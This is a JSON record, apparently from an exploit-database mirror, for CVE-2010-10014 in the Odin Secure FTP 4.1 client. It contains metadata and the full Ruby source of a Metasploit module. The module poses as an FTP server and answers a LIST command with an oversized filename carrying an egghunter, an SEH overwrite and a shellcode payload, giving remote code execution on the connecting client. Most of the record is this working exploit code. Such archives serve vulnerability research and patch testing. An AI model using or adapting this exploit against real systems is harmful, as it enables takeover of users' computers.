{"exploit":{"id":"EDB-16716","name":"Odin Secure FTP 4.1 - 'LIST' Remote Stack Buffer Overflow (Metasploit)","description":"Odin Secure FTP 4.1 - 'LIST' Remote Stack Buffer Overflow (Metasploit)","cves":["CVE-2010-10014"],"author":"Metasploit","published":"2010-11-14","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16716","path":"exploits/windows/remote/16716.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16716.rb","vulnerabilities":[{"id":"CVE-2010-10014","state":"PUBLISHED","title":"Odin Secure FTP <= 4.1 Stack Buffer Overflow via LIST Response","titleSource":"CVE Program","description":"Odin Secure FTP <= 4.1 is vulnerable to a stack-based buffer overflow when parsing directory listings received in response to an FTP LIST command. A malicious FTP server can send an overly long filename in the directory listing, which overflows a fixed-size stack buffer in the client and overwrites the Structured Exception Handler (SEH). This allows remote attackers to execute arbitrary code on the client system.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-10014","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2010-10014"},"updatedAt":"2026-05-15T11:13:21.297Z","retrievedAt":"2026-11-27T16:09:46.067Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16716.png?v=2","url":"https://exploitbin.com/exploits/EDB-16716","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16716/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16716/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: odin_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GoodRanking\n\n\tinclude Msf::Exploit::Remote::FtpServer\n\tinclude Msf::Exploit::Remote::Egghunter\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Odin Secure FTP 4.1 Stack Buffer Overflow (LIST)',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack buffer overflow in Odin Secure FTP 4.1,\n\t\t\t\ttriggered when processing the response on a LIST command. During the overflow,\n\t\t\t\ta structured exception handler record gets overwritten.\n\t\t\t},\n\t\t\t'Author' \t =>\n\t\t\t\t[\n\t\t\t\t\t'rick2600',\t\t#found the bug\n\t\t\t\t\t'corelanc0d3r',\t#wrote the exploit\n\t\t\t\t],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => \"$Revision: 11039 $\",\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'thread',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'BadChars' => \"\\x00\\xff\\x0d\\x5c\\x2f\\x0a\",\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'XP SP3 Universal', { 'Offset' => 264, 'Ret' => 0x10077622 } ],  # ppr [appface.dll]\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'DisclosureDate' => 'Oct 12 2010',\n\t\t\t'DefaultTarget'  => 0))\n\n\tend\n\n\tdef setup\n\t\tsuper\n\tend\n\n\tdef on_client_unknown_command(c,cmd,arg)\n\t\tc.put(\"200 OK\\r\\n\")\n\tend\n\n\tdef on_client_command_list(c,arg)\n\n\t\tconn = establish_data_connection(c)\n\t\tif(not conn)\n\t\t\tc.put(\"425 Can't build data connection\\r\\n\")\n\t\t\treturn\n\t\tend\n\t\tprint_status(\" - Data connection set up\")\n\t\tcode = 150\n\t\tc.put(\"#{code} Here comes the directory listing.\\r\\n\")\n\t\tcode = 226\n\t\tc.put(\"#{code} Directory send ok.\\r\\n\")\n\n\t\tbadchars = \"\"\n\t\teggoptions =\n\t\t{\n\t\t:checksum => true,\n\t\t:eggtag => \"W00T\"\n\t\t}\n\t\thunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)\n\n\t\tbadchars = \"\\x00\\xff\\x0d\\x5c\\x2f\\x0a\"\n\t\thunterenc = Msf::Util::EXE.encode_stub(framework, [ARCH_X86], hunter, ::Msf::Module::PlatformList.win32, badchars)\n\n\t\toffset_to_nseh=target['Offset']\n\t\tjmpback = \"\\xe9\\x9c\\xff\\xff\\xff\"\n\t\tnops = \"A\" * 30\n\t\tfilename = \"A\" * (offset_to_nseh-hunterenc.length-jmpback.length)\n\n\t\tnseh = \"\\xeb\\xf9\\x42\\x42\"\n\t\tseh = [target.ret].pack('V')\n\t\tjunk2 = \"A\" * 4000\n\n\t\tbuffer = filename + hunterenc + jmpback + nseh + seh + junk2 + egg\n\t\tprint_status(\" - Sending directory list via data connection\")\n\t\tdirlist = \"-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22 #{buffer}\\r\\n\"\n\t\tconn.put(dirlist)\n\t\tconn.close\n\t\tprint_status(\" - Payload sent, wait for hunter...\")\n\t\treturn\n\n\tend\n\nend","sha256":"1aeba3ab169b4c06b956a7d47e2763d2060bfb4ed0944bf66d1d49cfceae24c4","bytes":2855,"fetchedAt":"2026-11-27T16:09:45.919Z","encoding":"utf-8 (display only; download retains original bytes)"}